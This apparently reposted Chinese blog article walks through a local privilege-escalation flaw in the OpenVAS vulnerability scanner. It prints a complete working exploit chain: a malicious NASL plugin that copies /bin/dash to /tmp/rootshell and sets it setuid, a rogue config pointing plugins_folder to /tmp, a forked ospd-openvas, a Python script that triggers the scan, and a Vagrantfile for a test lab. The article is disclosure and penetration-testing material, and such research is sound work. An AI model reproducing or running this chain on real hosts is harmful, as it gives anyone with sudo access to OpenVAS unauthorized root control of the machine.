您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關OpenVAS中本地提權漏洞的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
OpenVAS是目前最流行的漏洞掃描工具之一。當你在安裝OpenVAS時,你拿到的只是OepnVAS(https://github.com/greenbone/openvas-scanner)的源碼,而不是一個隨時可以使用的可執行程序。你還需要兩外兩個額外組件:
一個實現了OSP協議(https://github.com/greenbone/ospd/)的項目,比如說ospd-openvas(https://github.com/greenbone/ospd-openvas)。
一個類似python-gvm(https://python-gvm.readthedocs.io/)的代碼庫,可以提供編程接口并允許通過ospd-openvas和使用OSP會話來跟OpenVAS進行交互。
根據python-gvm的文檔,我們得到了下列樣本代碼(#id8):
這是執行OpenVAS最簡單也最輕量級的工作流了。當然了,也有其他的工作流實踐方式,但可能會涉及到虛擬機或更加復雜的組件。
回到我們的演示示例上,為了成功運行前面的代碼段,我們必須能夠與ospd-openvas(一個Unix Socket)進行通信。為了實現這一點,我們可以設置Socket權限(#L55),或者使用我們的用戶身份運行ospd-openvas。
除此之外,OpenVAS安裝文檔(https://github.com/greenbone/openvas-scanner/blob/master/INSTALL.md)中的一個重要建議(第5點)是關于以root用戶身份運行OpenVAS的:
請注意,盡管您可以以沒有提升權限的用戶身份運行OpenVAS,但建議您以root身份啟動OpenVAS,因為許多網絡漏洞測試需要root權限來執行某些操作,如數據包偽造等等。如果未經允許以用戶身份運行OpenVAS來執行這些操作,則掃描結果可能不完整。
因此,程序會建議用戶以sudo權限運行ospd-openvas。比如說,在Ubuntu Groovy(20.10)上,專門有一個針對ospd-openvas的包,能夠以_gvm用戶運行該服務。_gvm用戶將會使用sudo權限來調用OpenVAS。這個用戶有nologin shell,因此我假設OpenVAS將會做以下事情:
通過其他以_gvm身份運行的進程來調度。
通過一個能夠fork以_gvm用戶擁有進程的更高級別(比如說root)進程來調度。
在我看來,這是一種運行OpenVAS的安全方法。
根據我的個人實現OpenVAS工作流的經驗,這里會有一些區別:
所有涉及到的軟件包都有一致的版本(即8.1https://github.com/greenbone/openvas-scanner/releases),因此您可以手動升級以獲得最新的特性。
操作系統軟件包有點過時或者不存在(在04中ospd-openvas不存在),所以用戶必須構建自己的軟件包,這就需要定制運行的用戶和權限。
掃描可能會卡住或無法完成,因此您需要圍繞OpenVAS提供一些監控解決方案。
還有其他很多的協議(https://python-gvm.readthedocs.io/en/latest/api/protocols.html)可以與OpenVAS交互。
最后,有幾種方法可以實現OpenVAS工作流,這些工作流可以在不同的permission/ownership方案中派生,并允許最終用戶擁有sudo權限來執行OpenVAS。作為滲透測試人員,對我們來說重要的是要知道,如果我們有一個Shell作為一個擁有sudo權限的用戶來執行OpenVAS,我們可以將權限升級到root,那我們走這條路吧!
現在,我們的用戶擁有sudo權限來執行OpenVAS,OpenVAS代碼中一個有趣的功能就是可以使用-c選項在運行時修改配置信息。下圖中,我演示了如何使用-s選項來顯示配置信息:
在研究了不同配置信息之后,我了解了如何去利用它們。
OpenVAS代碼會從設置中定義的plugins_folder路徑來加載插件,那如果我能在運行時將該目錄指向一個存儲了惡意插件的目錄,是不是就可以讓OpenVAS執行掃描的時候運行我們的惡意代碼呢?
為了利用這個提權漏洞,首先我們要在目錄/tmp/plugins中創建一個惡意插件:
if(description) { script_oid("1.2.3.4.5"); script_tag(name:"last_modification", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)"); script_tag(name:"creation_date", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)"); script_tag(name:"cvss_base", value:"0.0"); script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N"); script_name("Malicious"); script_category(ACT_SCANNER); script_family("Port scanners"); exit(0); } args = make_list("cp", "/bin/dash", "/tmp/rootshell"); ret = pread(cmd:"cp", argv: args, cd: FALSE); args = make_list("chmod", "+s", "/tmp/rootshell"); ret = pread(cmd:"chmod", argv: args, cd: FALSE); exit( 0 );
這個惡意NASL插件將會在被執行的時候創建一個rootshell(第15-18行)。請記住代碼中第3行聲明的插件ID 1.2.3.4.5,因為我們之后會用到。除此之外,對于一個有效的plugins_folder,它必須包含一個名為plugin_feed_info.inc的文件,其中需要包含有效的date字符串:
PLUGIN_SET = "202006091543"
接下來,我們需要在/tmp/openvas.conf路徑下創建我們的惡意配置文件,它將會通過-c選項提供給OpenVAS:
plugins_folder = /tmp/plugins db_address = /tmp/redis-server.sock
它負責引用我們的惡意插件目錄,并指向一個Redis Socket(OpenVAS使用了一個Redis數據庫來存儲某些掃描信息)。在Ubuntu Groovy中,Redis(https://redis.io/)實例需要先進行實例化,而且有嚴格的權限限制:
為此,我開啟了一個自己的Redis實例來監聽/tmp/redis-server.sock,并將其設置在我的惡意配置中。
下一步很重要,我們需要運行ospd-openvas來跟OpenVAS通信。官方ospd-openvas項目(https://github.com/greenbone/ospd-openvas)會使用sudo調用OpenVAS,但并沒有設置-c選項。所以我創建了一個fork(https://github.com/csalazar/ospd-openvas),并添加了指向我們惡意配置的-c選項:
在我的漏洞利用場景中,我將會使用下列配置信息運行我的fork:
[OSPD - openvas] log_level = INFO socket_mode = 0o770 unix_socket = /tmp/ospd-openvas.sock pid_file = /tmp/ospd-openvas.pid log_file = /tmp/ospd-openvas.log lock_file_dir = /tmp
這個配置主要用于在/tmp/ospd-openvas.sock創建一個ospd-openvas Socket,這樣我就可以控制它了。
最后一步就是觸發掃描任務了,這里我使用了下列腳本:
import os import uuid from gvm.connections import UnixSocketConnection from gvm.protocols.latest import Osp def run_openvas(): path = "/tmp/ospd-openvas.sock" connection = UnixSocketConnection(path=path) osp = Osp(connection=connection) # Prepare scan data MALICIOUS_PLUGIN_ID = "1.2.3.4.5" vts = {MALICIOUS_PLUGIN_ID: {}} targets = [{"hosts": "localhost", "ports": "22"}] with osp: scan_id = str(uuid.uuid4()) osp.start_scan(scan_id=scan_id, targets=targets, vt_selection=vts)
我們一起看看上述代碼會做什么事情:
第8行引用了我的ospd-openvas Socket;
第14行添加了需要運行的惡意插件;
第19行調用了掃描任務;
如果一切正常的話,我們就可以在/tmp/rootshell拿到一個root shell了!
為了方便大家在一個隔離環境中進行測試,我提供了一個樣本Vagrantfile 來從runner用戶實現提權:
$script = <<-SCRIPT apt update && apt install python3-venv openvas-scanner -y adduser --gecos "" --disabled-password runner chpasswd <<<"runner:password123" echo "runner ALL = NOPASSWD: /usr/sbin/openvas" >> /etc/sudoers SCRIPT Vagrant.configure("2") do |config| config.vm.box = "ubuntu/groovy64" config.vbguest.auto_update = false config.vm.provision "shell", inline: $script end
這里要求安裝python-gvm(https://python-gvm.readthedocs.io/en/latest/)和我fork的ospd-openvas(https://github.com/csalazar/ospd-openvas),我已經使用了一個虛擬環境來封裝它們了:
python3 -m venv env source ./env/bin/activate pip install python-gvm pip install git+https://github.com/csalazar/ospd-openvas.git
現在你就可以執行漏洞利用代碼(https://gist.github.com/csalazar/4ef0a379b7564861e0838220aef7c2e3)了。
關于“OpenVAS中本地提權漏洞的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。